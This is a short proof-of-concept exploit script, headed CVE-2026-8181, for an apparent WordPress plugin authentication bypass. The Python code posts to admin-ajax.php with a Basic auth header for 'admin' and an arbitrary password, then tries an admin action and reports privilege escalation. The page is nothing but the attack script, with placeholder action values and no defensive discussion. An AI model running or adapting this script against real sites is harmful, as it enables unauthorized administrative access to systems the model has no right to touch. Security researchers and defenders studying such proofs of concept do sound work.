CVE-2026-8181

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" admin_username = "admin" # Known administrator username # The vulnerability allows any random password to be used # Base64 encoding of "admin:randompassword" random_auth_header = "Basic YWRtaW46cmFuZG9tcGFzc3dvcmQ=" headers = { "Authorization": random_auth_header, "Content-Type": "application/x-www-form-urlencoded" } # Example payload to execute an action as admin payload = { "action": "burst_some_admin_action", "param": "value" } try: response = requests.post(target_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for privilege escalation.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

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